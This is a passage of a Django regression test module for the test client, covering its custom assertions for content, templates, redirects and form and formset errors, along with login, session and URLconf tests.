# -*- coding: utf-8 -*-
"""
Regression tests for the Test Client, especially the customized assertions.
"""
from __future__ import unicode_literals

import itertools
import os

from django.contrib.auth.models import User
from django.contrib.auth.signals import user_logged_in, user_logged_out
from django.http import HttpResponse
from django.template import (
    Context, RequestContext, TemplateSyntaxError, engines,
)
from django.template.response import SimpleTemplateResponse
from django.test import (
    Client, SimpleTestCase, TestCase, ignore_warnings, modify_settings,
    override_settings,
)
from django.test.client import RedirectCycleError, RequestFactory, encode_file
from django.test.utils import ContextList, str_prefix
from django.urls import NoReverseMatch, reverse
from django.utils._os import upath
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.translation import ugettext_lazy

from .models import CustomUser
from .views import CustomTestException


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        cls.u1 = User.objects.create_user(username='testclient', password='password')
        cls.staff = User.objects.create_user(username='staff', password='password', is_staff=True)


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class AssertContainsTests(SimpleTestCase):

    def test_contains(self):
        "Responses can be inspected for content, including counting repeated substrings"
        response = self.client.get('/no_template_view/')

        self.assertNotContains(response, 'never')
        self.assertContains(response, 'never', 0)
        self.assertContains(response, 'once')
        self.assertContains(response, 'once', 1)
        self.assertContains(response, 'twice')
        self.assertContains(response, 'twice', 2)

        try:
            self.assertContains(response, 'text', status_code=999)
        except AssertionError as e:
            self.assertIn("Couldn't retrieve content: Response code was 200 (expected 999)", str(e))
        try:
            self.assertContains(response, 'text', status_code=999, msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Couldn't retrieve content: Response code was 200 (expected 999)", str(e))

        try:
            self.assertNotContains(response, 'text', status_code=999)
        except AssertionError as e:
            self.assertIn("Couldn't retrieve content: Response code was 200 (expected 999)", str(e))
        try:
            self.assertNotContains(response, 'text', status_code=999, msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Couldn't retrieve content: Response code was 200 (expected 999)", str(e))

        try:
            self.assertNotContains(response, 'once')
        except AssertionError as e:
            self.assertIn("Response should not contain 'once'", str(e))
        try:
            self.assertNotContains(response, 'once', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Response should not contain 'once'", str(e))

        try:
            self.assertContains(response, 'never', 1)
        except AssertionError as e:
            self.assertIn("Found 0 instances of 'never' in response (expected 1)", str(e))
        try:
            self.assertContains(response, 'never', 1, msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Found 0 instances of 'never' in response (expected 1)", str(e))

        try:
            self.assertContains(response, 'once', 0)
        except AssertionError as e:
            self.assertIn("Found 1 instances of 'once' in response (expected 0)", str(e))
        try:
            self.assertContains(response, 'once', 0, msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Found 1 instances of 'once' in response (expected 0)", str(e))

        try:
            self.assertContains(response, 'once', 2)
        except AssertionError as e:
            self.assertIn("Found 1 instances of 'once' in response (expected 2)", str(e))
        try:
            self.assertContains(response, 'once', 2, msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Found 1 instances of 'once' in response (expected 2)", str(e))

        try:
            self.assertContains(response, 'twice', 1)
        except AssertionError as e:
            self.assertIn("Found 2 instances of 'twice' in response (expected 1)", str(e))
        try:
            self.assertContains(response, 'twice', 1, msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Found 2 instances of 'twice' in response (expected 1)", str(e))

        try:
            self.assertContains(response, 'thrice')
        except AssertionError as e:
            self.assertIn("Couldn't find 'thrice' in response", str(e))
        try:
            self.assertContains(response, 'thrice', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Couldn't find 'thrice' in response", str(e))

        try:
            self.assertContains(response, 'thrice', 3)
        except AssertionError as e:
            self.assertIn("Found 0 instances of 'thrice' in response (expected 3)", str(e))
        try:
            self.assertContains(response, 'thrice', 3, msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Found 0 instances of 'thrice' in response (expected 3)", str(e))

    def test_unicode_contains(self):
        "Unicode characters can be found in template context"
        # Regression test for #10183
        r = self.client.get('/check_unicode/')
        self.assertContains(r, 'さかき')
        self.assertContains(r, b'\xe5\xb3\xa0'.decode('utf-8'))

    def test_unicode_not_contains(self):
        "Unicode characters can be searched for, and not found in template context"
        # Regression test for #10183
        r = self.client.get('/check_unicode/')
        self.assertNotContains(r, 'はたけ')
        self.assertNotContains(r, b'\xe3\x81\xaf\xe3\x81\x9f\xe3\x81\x91'.decode('utf-8'))

    def test_binary_contains(self):
        r = self.client.get('/check_binary/')
        self.assertContains(r, b'%PDF-1.4\r\n%\x93\x8c\x8b\x9e')
        with self.assertRaises(AssertionError):
            self.assertContains(r, b'%PDF-1.4\r\n%\x93\x8c\x8b\x9e', count=2)

    def test_binary_not_contains(self):
        r = self.client.get('/check_binary/')
        self.assertNotContains(r, b'%ODF-1.4\r\n%\x93\x8c\x8b\x9e')
        with self.assertRaises(AssertionError):
            self.assertNotContains(r, b'%PDF-1.4\r\n%\x93\x8c\x8b\x9e')

    def test_nontext_contains(self):
        r = self.client.get('/no_template_view/')
        self.assertContains(r, ugettext_lazy('once'))

    def test_nontext_not_contains(self):
        r = self.client.get('/no_template_view/')
        self.assertNotContains(r, ugettext_lazy('never'))

    def test_assert_contains_renders_template_response(self):
        """ Test that we can pass in an unrendered SimpleTemplateResponse
            without throwing an error.
            Refs #15826.
        """
        template = engines['django'].from_string('Hello')
        response = SimpleTemplateResponse(template)
        self.assertContains(response, 'Hello')

    def test_assert_contains_using_non_template_response(self):
        """ Test that auto-rendering does not affect responses that aren't
            instances (or subclasses) of SimpleTemplateResponse.
            Refs #15826.
        """
        response = HttpResponse('Hello')
        self.assertContains(response, 'Hello')

    def test_assert_not_contains_renders_template_response(self):
        """ Test that we can pass in an unrendered SimpleTemplateResponse
            without throwing an error.
            Refs #15826.
        """
        template = engines['django'].from_string('Hello')
        response = SimpleTemplateResponse(template)
        self.assertNotContains(response, 'Bye')

    def test_assert_not_contains_using_non_template_response(self):
        """ Test that auto-rendering does not affect responses that aren't
            instances (or subclasses) of SimpleTemplateResponse.
            Refs #15826.
        """
        response = HttpResponse('Hello')
        self.assertNotContains(response, 'Bye')


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class AssertTemplateUsedTests(TestDataMixin, TestCase):

    def test_no_context(self):
        "Template usage assertions work then templates aren't in use"
        response = self.client.get('/no_template_view/')

        # Check that the no template case doesn't mess with the template assertions
        self.assertTemplateNotUsed(response, 'GET Template')

        try:
            self.assertTemplateUsed(response, 'GET Template')
        except AssertionError as e:
            self.assertIn("No templates used to render the response", str(e))

        try:
            self.assertTemplateUsed(response, 'GET Template', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: No templates used to render the response", str(e))

        with self.assertRaises(AssertionError) as context:
            self.assertTemplateUsed(response, 'GET Template', count=2)
        self.assertIn(
            "No templates used to render the response",
            str(context.exception))

    def test_single_context(self):
        "Template assertions work when there is a single context"
        response = self.client.get('/post_view/', {})

        try:
            self.assertTemplateNotUsed(response, 'Empty GET Template')
        except AssertionError as e:
            self.assertIn("Template 'Empty GET Template' was used unexpectedly in rendering the response", str(e))

        try:
            self.assertTemplateNotUsed(response, 'Empty GET Template', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Template 'Empty GET Template' was used unexpectedly in rendering the response", str(e))

        try:
            self.assertTemplateUsed(response, 'Empty POST Template')
        except AssertionError as e:
            self.assertIn(
                "Template 'Empty POST Template' was not a template used to "
                "render the response. Actual template(s) used: Empty GET Template",
                str(e)
            )

        try:
            self.assertTemplateUsed(response, 'Empty POST Template', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn(
                "abc: Template 'Empty POST Template' was not a template used "
                "to render the response. Actual template(s) used: Empty GET Template",
                str(e)
            )

        with self.assertRaises(AssertionError) as context:
            self.assertTemplateUsed(response, 'Empty GET Template', count=2)
        self.assertIn(
            "Template 'Empty GET Template' was expected to be rendered 2 "
            "time(s) but was actually rendered 1 time(s).",
            str(context.exception))

        with self.assertRaises(AssertionError) as context:
            self.assertTemplateUsed(
                response, 'Empty GET Template', msg_prefix='abc', count=2)
        self.assertIn(
            "abc: Template 'Empty GET Template' was expected to be rendered 2 "
            "time(s) but was actually rendered 1 time(s).",
            str(context.exception))

    def test_multiple_context(self):
        "Template assertions work when there are multiple contexts"
        post_data = {
            'text': 'Hello World',
            'email': 'foo@example.com',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view_with_template/', post_data)
        self.assertContains(response, 'POST data OK')
        try:
            self.assertTemplateNotUsed(response, "form_view.html")
        except AssertionError as e:
            self.assertIn("Template 'form_view.html' was used unexpectedly in rendering the response", str(e))

        try:
            self.assertTemplateNotUsed(response, 'base.html')
        except AssertionError as e:
            self.assertIn("Template 'base.html' was used unexpectedly in rendering the response", str(e))

        try:
            self.assertTemplateUsed(response, "Valid POST Template")
        except AssertionError as e:
            self.assertIn(
                "Template 'Valid POST Template' was not a template used to "
                "render the response. Actual template(s) used: form_view.html, base.html",
                str(e)
            )

        with self.assertRaises(AssertionError) as context:
            self.assertTemplateUsed(response, 'base.html', count=2)
        self.assertIn(
            "Template 'base.html' was expected to be rendered 2 "
            "time(s) but was actually rendered 1 time(s).",
            str(context.exception))

    def test_template_rendered_multiple_times(self):
        """Template assertions work when a template is rendered multiple times."""
        response = self.client.get('/render_template_multiple_times/')

        self.assertTemplateUsed(response, 'base.html', count=2)


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class AssertRedirectsTests(SimpleTestCase):

    def test_redirect_page(self):
        "An assertion is raised if the original page couldn't be retrieved as expected"
        # This page will redirect with code 301, not 302
        response = self.client.get('/permanent_redirect_view/')
        try:
            self.assertRedirects(response, '/get_view/')
        except AssertionError as e:
            self.assertIn("Response didn't redirect as expected: Response code was 301 (expected 302)", str(e))

        try:
            self.assertRedirects(response, '/get_view/', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Response didn't redirect as expected: Response code was 301 (expected 302)", str(e))

    def test_lost_query(self):
        "An assertion is raised if the redirect location doesn't preserve GET parameters"
        response = self.client.get('/redirect_view/', {'var': 'value'})
        try:
            self.assertRedirects(response, '/get_view/')
        except AssertionError as e:
            self.assertIn("Response redirected to '/get_view/?var=value', expected '/get_view/'", str(e))

        try:
            self.assertRedirects(response, '/get_view/', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Response redirected to '/get_view/?var=value', expected '/get_view/'", str(e))

    def test_incorrect_target(self):
        "An assertion is raised if the response redirects to another target"
        response = self.client.get('/permanent_redirect_view/')
        try:
            # Should redirect to get_view
            self.assertRedirects(response, '/some_view/')
        except AssertionError as e:
            self.assertIn("Response didn't redirect as expected: Response code was 301 (expected 302)", str(e))

    def test_target_page(self):
        "An assertion is raised if the response redirect target cannot be retrieved as expected"
        response = self.client.get('/double_redirect_view/')
        try:
            # The redirect target responds with a 301 code, not 200
            self.assertRedirects(response, 'http://testserver/permanent_redirect_view/')
        except AssertionError as e:
            self.assertIn(
                "Couldn't retrieve redirection page '/permanent_redirect_view/': "
                "response code was 301 (expected 200)",
                str(e)
            )

        try:
            # The redirect target responds with a 301 code, not 200
            self.assertRedirects(response, 'http://testserver/permanent_redirect_view/', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn(
                "abc: Couldn't retrieve redirection page '/permanent_redirect_view/': "
                "response code was 301 (expected 200)",
                str(e)
            )

    def test_redirect_chain(self):
        "You can follow a redirect chain of multiple redirects"
        response = self.client.get('/redirects/further/more/', {}, follow=True)
        self.assertRedirects(response, '/no_template_view/', status_code=302, target_status_code=200)

        self.assertEqual(len(response.redirect_chain), 1)
        self.assertEqual(response.redirect_chain[0], ('/no_template_view/', 302))

    def test_multiple_redirect_chain(self):
        "You can follow a redirect chain of multiple redirects"
        response = self.client.get('/redirects/', {}, follow=True)
        self.assertRedirects(response, '/no_template_view/', status_code=302, target_status_code=200)

        self.assertEqual(len(response.redirect_chain), 3)
        self.assertEqual(response.redirect_chain[0], ('/redirects/further/', 302))
        self.assertEqual(response.redirect_chain[1], ('/redirects/further/more/', 302))
        self.assertEqual(response.redirect_chain[2], ('/no_template_view/', 302))

    def test_redirect_chain_to_non_existent(self):
        "You can follow a chain to a non-existent view"
        response = self.client.get('/redirect_to_non_existent_view2/', {}, follow=True)
        self.assertRedirects(response, '/non_existent_view/', status_code=302, target_status_code=404)

    def test_redirect_chain_to_self(self):
        "Redirections to self are caught and escaped"
        with self.assertRaises(RedirectCycleError) as context:
            self.client.get('/redirect_to_self/', {}, follow=True)
        response = context.exception.last_response
        # The chain of redirects stops once the cycle is detected.
        self.assertRedirects(response, '/redirect_to_self/', status_code=302, target_status_code=302)
        self.assertEqual(len(response.redirect_chain), 2)

    def test_redirect_to_self_with_changing_query(self):
        "Redirections don't loop forever even if query is changing"
        with self.assertRaises(RedirectCycleError):
            self.client.get('/redirect_to_self_with_changing_query_view/', {'counter': '0'}, follow=True)

    def test_circular_redirect(self):
        "Circular redirect chains are caught and escaped"
        with self.assertRaises(RedirectCycleError) as context:
            self.client.get('/circular_redirect_1/', {}, follow=True)
        response = context.exception.last_response
        # The chain of redirects will get back to the starting point, but stop there.
        self.assertRedirects(response, '/circular_redirect_2/', status_code=302, target_status_code=302)
        self.assertEqual(len(response.redirect_chain), 4)

    def test_redirect_chain_post(self):
        "A redirect chain will be followed from an initial POST post"
        response = self.client.post('/redirects/', {'nothing': 'to_send'}, follow=True)
        self.assertRedirects(response, '/no_template_view/', 302, 200)
        self.assertEqual(len(response.redirect_chain), 3)

    def test_redirect_chain_head(self):
        "A redirect chain will be followed from an initial HEAD request"
        response = self.client.head('/redirects/', {'nothing': 'to_send'}, follow=True)
        self.assertRedirects(response, '/no_template_view/', 302, 200)
        self.assertEqual(len(response.redirect_chain), 3)

    def test_redirect_chain_options(self):
        "A redirect chain will be followed from an initial OPTIONS request"
        response = self.client.options('/redirects/', follow=True)
        self.assertRedirects(response, '/no_template_view/', 302, 200)
        self.assertEqual(len(response.redirect_chain), 3)

    def test_redirect_chain_put(self):
        "A redirect chain will be followed from an initial PUT request"
        response = self.client.put('/redirects/', follow=True)
        self.assertRedirects(response, '/no_template_view/', 302, 200)
        self.assertEqual(len(response.redirect_chain), 3)

    def test_redirect_chain_delete(self):
        "A redirect chain will be followed from an initial DELETE request"
        response = self.client.delete('/redirects/', follow=True)
        self.assertRedirects(response, '/no_template_view/', 302, 200)
        self.assertEqual(len(response.redirect_chain), 3)

    @modify_settings(ALLOWED_HOSTS={'append': 'otherserver'})
    def test_redirect_to_different_host(self):
        "The test client will preserve scheme, host and port changes"
        response = self.client.get('/redirect_other_host/', follow=True)
        self.assertRedirects(
            response, 'https://otherserver:8443/no_template_view/',
            status_code=302, target_status_code=200
        )
        # We can't use is_secure() or get_host()
        # because response.request is a dictionary, not an HttpRequest
        self.assertEqual(response.request.get('wsgi.url_scheme'), 'https')
        self.assertEqual(response.request.get('SERVER_NAME'), 'otherserver')
        self.assertEqual(response.request.get('SERVER_PORT'), '8443')
        # assertRedirects() can follow redirect to 'otherserver' too.
        response = self.client.get('/redirect_other_host/', follow=False)
        self.assertRedirects(
            response, 'https://otherserver:8443/no_template_view/',
            status_code=302, target_status_code=200
        )

    def test_redirect_chain_on_non_redirect_page(self):
        "An assertion is raised if the original page couldn't be retrieved as expected"
        # This page will redirect with code 301, not 302
        response = self.client.get('/get_view/', follow=True)
        try:
            self.assertRedirects(response, '/get_view/')
        except AssertionError as e:
            self.assertIn("Response didn't redirect as expected: Response code was 200 (expected 302)", str(e))

        try:
            self.assertRedirects(response, '/get_view/', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Response didn't redirect as expected: Response code was 200 (expected 302)", str(e))

    def test_redirect_on_non_redirect_page(self):
        "An assertion is raised if the original page couldn't be retrieved as expected"
        # This page will redirect with code 301, not 302
        response = self.client.get('/get_view/')
        try:
            self.assertRedirects(response, '/get_view/')
        except AssertionError as e:
            self.assertIn("Response didn't redirect as expected: Response code was 200 (expected 302)", str(e))

        try:
            self.assertRedirects(response, '/get_view/', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: Response didn't redirect as expected: Response code was 200 (expected 302)", str(e))

    def test_redirect_scheme(self):
        "An assertion is raised if the response doesn't have the scheme specified in expected_url"

        # For all possible True/False combinations of follow and secure
        for follow, secure in itertools.product([True, False], repeat=2):
            # always redirects to https
            response = self.client.get('/https_redirect_view/', follow=follow, secure=secure)
            # the goal scheme is https
            self.assertRedirects(response, 'https://testserver/secure_view/', status_code=302)
            with self.assertRaises(AssertionError):
                self.assertRedirects(response, 'http://testserver/secure_view/', status_code=302)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_full_path_in_expected_urls(self):
        """
        Test that specifying a full URL as assertRedirects expected_url still
        work as backwards compatible behavior until Django 2.0.
        """
        response = self.client.get('/redirect_view/')
        self.assertRedirects(response, 'http://testserver/get_view/')


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class AssertFormErrorTests(SimpleTestCase):

    def test_unknown_form(self):
        "An assertion is raised if the form name is unknown"
        post_data = {
            'text': 'Hello World',
            'email': 'not an email address',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view/', post_data)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Invalid POST Template")

        try:
            self.assertFormError(response, 'wrong_form', 'some_field', 'Some error.')
        except AssertionError as e:
            self.assertIn("The form 'wrong_form' was not used to render the response", str(e))
        try:
            self.assertFormError(response, 'wrong_form', 'some_field', 'Some error.', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: The form 'wrong_form' was not used to render the response", str(e))

    def test_unknown_field(self):
        "An assertion is raised if the field name is unknown"
        post_data = {
            'text': 'Hello World',
            'email': 'not an email address',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view/', post_data)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Invalid POST Template")

        try:
            self.assertFormError(response, 'form', 'some_field', 'Some error.')
        except AssertionError as e:
            self.assertIn("The form 'form' in context 0 does not contain the field 'some_field'", str(e))
        try:
            self.assertFormError(response, 'form', 'some_field', 'Some error.', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: The form 'form' in context 0 does not contain the field 'some_field'", str(e))

    def test_noerror_field(self):
        "An assertion is raised if the field doesn't have any errors"
        post_data = {
            'text': 'Hello World',
            'email': 'not an email address',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view/', post_data)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Invalid POST Template")

        try:
            self.assertFormError(response, 'form', 'value', 'Some error.')
        except AssertionError as e:
            self.assertIn("The field 'value' on form 'form' in context 0 contains no errors", str(e))
        try:
            self.assertFormError(response, 'form', 'value', 'Some error.', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn("abc: The field 'value' on form 'form' in context 0 contains no errors", str(e))

    def test_unknown_error(self):
        "An assertion is raised if the field doesn't contain the provided error"
        post_data = {
            'text': 'Hello World',
            'email': 'not an email address',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view/', post_data)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Invalid POST Template")

        try:
            self.assertFormError(response, 'form', 'email', 'Some error.')
        except AssertionError as e:
            self.assertIn(
                str_prefix(
                    "The field 'email' on form 'form' in context 0 does not "
                    "contain the error 'Some error.' (actual errors: "
                    "[%(_)s'Enter a valid email address.'])"
                ), str(e)
            )
        try:
            self.assertFormError(response, 'form', 'email', 'Some error.', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn(
                str_prefix(
                    "abc: The field 'email' on form 'form' in context 0 does "
                    "not contain the error 'Some error.' (actual errors: "
                    "[%(_)s'Enter a valid email address.'])",
                ), str(e)
            )

    def test_unknown_nonfield_error(self):
        """
        Checks that an assertion is raised if the form's non field errors
        doesn't contain the provided error.
        """
        post_data = {
            'text': 'Hello World',
            'email': 'not an email address',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view/', post_data)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Invalid POST Template")

        try:
            self.assertFormError(response, 'form', None, 'Some error.')
        except AssertionError as e:
            self.assertIn(
                "The form 'form' in context 0 does not contain the non-field "
                "error 'Some error.' (actual errors: )",
                str(e)
            )
        try:
            self.assertFormError(response, 'form', None, 'Some error.', msg_prefix='abc')
        except AssertionError as e:
            self.assertIn(
                "abc: The form 'form' in context 0 does not contain the "
                "non-field error 'Some error.' (actual errors: )",
                str(e)
            )


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class AssertFormsetErrorTests(SimpleTestCase):
    msg_prefixes = [("", {}), ("abc: ", {"msg_prefix": "abc"})]

    def setUp(self):
        """Makes response object for testing field and non-field errors"""
        # For testing field and non-field errors
        self.response_form_errors = self.getResponse({
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '2',
            'form-0-text': 'Raise non-field error',
            'form-0-email': 'not an email address',
            'form-0-value': 37,
            'form-0-single': 'b',
            'form-0-multi': ('b', 'c', 'e'),
            'form-1-text': 'Hello World',
            'form-1-email': 'email@domain.com',
            'form-1-value': 37,
            'form-1-single': 'b',
            'form-1-multi': ('b', 'c', 'e'),
        })
        # For testing non-form errors
        self.response_nonform_errors = self.getResponse({
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '2',
            'form-0-text': 'Hello World',
            'form-0-email': 'email@domain.com',
            'form-0-value': 37,
            'form-0-single': 'b',
            'form-0-multi': ('b', 'c', 'e'),
            'form-1-text': 'Hello World',
            'form-1-email': 'email@domain.com',
            'form-1-value': 37,
            'form-1-single': 'b',
            'form-1-multi': ('b', 'c', 'e'),
        })

    def getResponse(self, post_data):
        response = self.client.post('/formset_view/', post_data)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Invalid POST Template")
        return response

    def test_unknown_formset(self):
        "An assertion is raised if the formset name is unknown"
        for prefix, kwargs in self.msg_prefixes:
            msg = prefix + "The formset 'wrong_formset' was not used to render the response"
            with self.assertRaisesMessage(AssertionError, msg):
                self.assertFormsetError(
                    self.response_form_errors,
                    'wrong_formset', 0, 'Some_field', 'Some error.', **kwargs
                )

    def test_unknown_field(self):
        "An assertion is raised if the field name is unknown"
        for prefix, kwargs in self.msg_prefixes:
            msg = prefix + "The formset 'my_formset', form 0 in context 0 does not contain the field 'Some_field'"
            with self.assertRaisesMessage(AssertionError, msg):
                self.assertFormsetError(
                    self.response_form_errors,
                    'my_formset', 0, 'Some_field', 'Some error.', **kwargs
                )

    def test_no_error_field(self):
        "An assertion is raised if the field doesn't have any errors"
        for prefix, kwargs in self.msg_prefixes:
            msg = prefix + "The field 'value' on formset 'my_formset', form 1 in context 0 contains no errors"
            with self.assertRaisesMessage(AssertionError, msg):
                self.assertFormsetError(self.response_form_errors, 'my_formset', 1, 'value', 'Some error.', **kwargs)

    def test_unknown_error(self):
        "An assertion is raised if the field doesn't contain the specified error"
        for prefix, kwargs in self.msg_prefixes:
            msg = str_prefix(
                prefix + "The field 'email' on formset 'my_formset', form 0 "
                "in context 0 does not contain the error 'Some error.' "
                "(actual errors: [%(_)s'Enter a valid email address.'])"
            )
            with self.assertRaisesMessage(AssertionError, msg):
                self.assertFormsetError(self.response_form_errors, 'my_formset', 0, 'email', 'Some error.', **kwargs)

    def test_field_error(self):
        "No assertion is raised if the field contains the provided error"
        error_msg = ['Enter a valid email address.']
        for prefix, kwargs in self.msg_prefixes:
            self.assertFormsetError(self.response_form_errors, 'my_formset', 0, 'email', error_msg, **kwargs)

    def test_no_nonfield_error(self):
        "An assertion is raised if the formsets non-field errors doesn't contain any errors."
        for prefix, kwargs in self.msg_prefixes:
            msg = prefix + "The formset 'my_formset', form 1 in context 0 does not contain any non-field errors."
            with self.assertRaisesMessage(AssertionError, msg):
                self.assertFormsetError(self.response_form_errors, 'my_formset', 1, None, 'Some error.', **kwargs)

    def test_unknown_nonfield_error(self):
        "An assertion is raised if the formsets non-field errors doesn't contain the provided error."
        for prefix, kwargs in self.msg_prefixes:
            msg = str_prefix(
                prefix + "The formset 'my_formset', form 0 in context 0 does not "
                "contain the non-field error 'Some error.' (actual errors: "
                "[%(_)s'Non-field error.'])"
            )
            with self.assertRaisesMessage(AssertionError, msg):
                self.assertFormsetError(self.response_form_errors, 'my_formset', 0, None, 'Some error.', **kwargs)

    def test_nonfield_error(self):
        "No assertion is raised if the formsets non-field errors contains the provided error."
        for prefix, kwargs in self.msg_prefixes:
            self.assertFormsetError(self.response_form_errors, 'my_formset', 0, None, 'Non-field error.', **kwargs)

    def test_no_nonform_error(self):
        "An assertion is raised if the formsets non-form errors doesn't contain any errors."
        for prefix, kwargs in self.msg_prefixes:
            msg = prefix + "The formset 'my_formset' in context 0 does not contain any non-form errors."
            with self.assertRaisesMessage(AssertionError, msg):
                self.assertFormsetError(self.response_form_errors, 'my_formset', None, None, 'Some error.', **kwargs)

    def test_unknown_nonform_error(self):
        "An assertion is raised if the formsets non-form errors doesn't contain the provided error."
        for prefix, kwargs in self.msg_prefixes:
            msg = str_prefix(
                prefix +
                "The formset 'my_formset' in context 0 does not contain the "
                "non-form error 'Some error.' (actual errors: [%(_)s'Forms "
                "in a set must have distinct email addresses.'])"
            )
            with self.assertRaisesMessage(AssertionError, msg):
                self.assertFormsetError(
                    self.response_nonform_errors,
                    'my_formset', None, None, 'Some error.', **kwargs
                )

    def test_nonform_error(self):
        "No assertion is raised if the formsets non-form errors contains the provided error."
        msg = 'Forms in a set must have distinct email addresses.'
        for prefix, kwargs in self.msg_prefixes:
            self.assertFormsetError(self.response_nonform_errors, 'my_formset', None, None, msg, **kwargs)


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class LoginTests(TestDataMixin, TestCase):

    def test_login_different_client(self):
        "Check that using a different test client doesn't violate authentication"

        # Create a second client, and log in.
        c = Client()
        login = c.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Get a redirection page with the second client.
        response = c.get("/login_protected_redirect_view/")

        # At this points, the self.client isn't logged in.
        # Check that assertRedirects uses the original client, not the
        # default client.
        self.assertRedirects(response, "/get_view/")


@override_settings(
    SESSION_ENGINE='test_client_regress.session',
    ROOT_URLCONF='test_client_regress.urls',
)
class SessionEngineTests(TestDataMixin, TestCase):

    def test_login(self):
        "A session engine that modifies the session key can be used to log in"
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Try to access a login protected page.
        response = self.client.get("/login_protected_view/")
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')


@override_settings(ROOT_URLCONF='test_client_regress.urls',)
class URLEscapingTests(SimpleTestCase):

    def test_simple_argument_get(self):
        "Get a view that has a simple string argument"
        response = self.client.get(reverse('arg_view', args=['Slartibartfast']))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'Howdy, Slartibartfast')

    def test_argument_with_space_get(self):
        "Get a view that has a string argument that requires escaping"
        response = self.client.get(reverse('arg_view', args=['Arthur Dent']))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'Hi, Arthur')

    def test_simple_argument_post(self):
        "Post for a view that has a simple string argument"
        response = self.client.post(reverse('arg_view', args=['Slartibartfast']))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'Howdy, Slartibartfast')

    def test_argument_with_space_post(self):
        "Post for a view that has a string argument that requires escaping"
        response = self.client.post(reverse('arg_view', args=['Arthur Dent']))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'Hi, Arthur')


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class ExceptionTests(TestDataMixin, TestCase):

    def test_exception_cleared(self):
        "#5836 - A stale user exception isn't re-raised by the test client."

        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')
        with self.assertRaises(CustomTestException):
            self.client.get("/staff_only/")

        # At this point, an exception has been raised, and should be cleared.

        # This next operation should be successful; if it isn't we have a problem.
        login = self.client.login(username='staff', password='password')
        self.assertTrue(login, 'Could not log in')
        self.client.get("/staff_only/")


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class TemplateExceptionTests(SimpleTestCase):

    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(os.path.dirname(upath(__file__)), 'bad_templates')],
    }])
    def test_bad_404_template(self):
        "Errors found when rendering 404 error templates are re-raised"
        with self.assertRaises(TemplateSyntaxError):
            self.client.get("/no_such_view/")


# We need two different tests to check URLconf substitution -  one to check
# it was changed, and another one (without self.urls) to check it was reverted on
# teardown. This pair of tests relies upon the alphabetical ordering of test execution.
@override_settings(ROOT_URLCONF='test_client_regress.urls')
class UrlconfSubstitutionTests(SimpleTestCase):

    def test_urlconf_was_changed(self):
        "TestCase can enforce a custom URLconf on a per-test basis"
        url = reverse('arg_view', args=['somename'])
        self.assertEqual(url, '/arg_view/somename/')


# This test needs to run *after* UrlconfSubstitutionTests; the zz prefix in the
# name is to ensure alphabetical ordering.
class zzUrlconfSubstitutionTests(SimpleTestCase):

    def test_urlconf_was_reverted(self):
        """URLconf is reverted to original value after modification in a TestCase

        This will not find a match as the default ROOT_URLCONF is empty.
        """
        with self.assertRaises(NoReverseMatch):
            reverse('arg_view', args=['somename'])


@override_settings(ROOT_URLCONF='test_client_regress.urls')
class ContextTests(TestDataMixin, TestCase):

    def test_single_context(self):
        "Context variables can be retrieved from a single context"
